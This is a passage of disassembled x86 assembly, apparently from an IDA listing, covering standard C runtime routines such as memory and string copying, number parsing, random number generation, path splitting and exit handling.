		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C534, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C534, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A2CC
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2F0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 270069Ah
		nop
		push	eax
		nop
		call	near ptr 26F0AF0h

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2EC, edi
		mov	byte_4DB2E8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC95C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC958
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC95C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2F0, edi
		nop
		call	near ptr 77E75CB5h

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A2B0, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A2B0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A2B0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC821[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C534, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C534, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C534, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C328
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

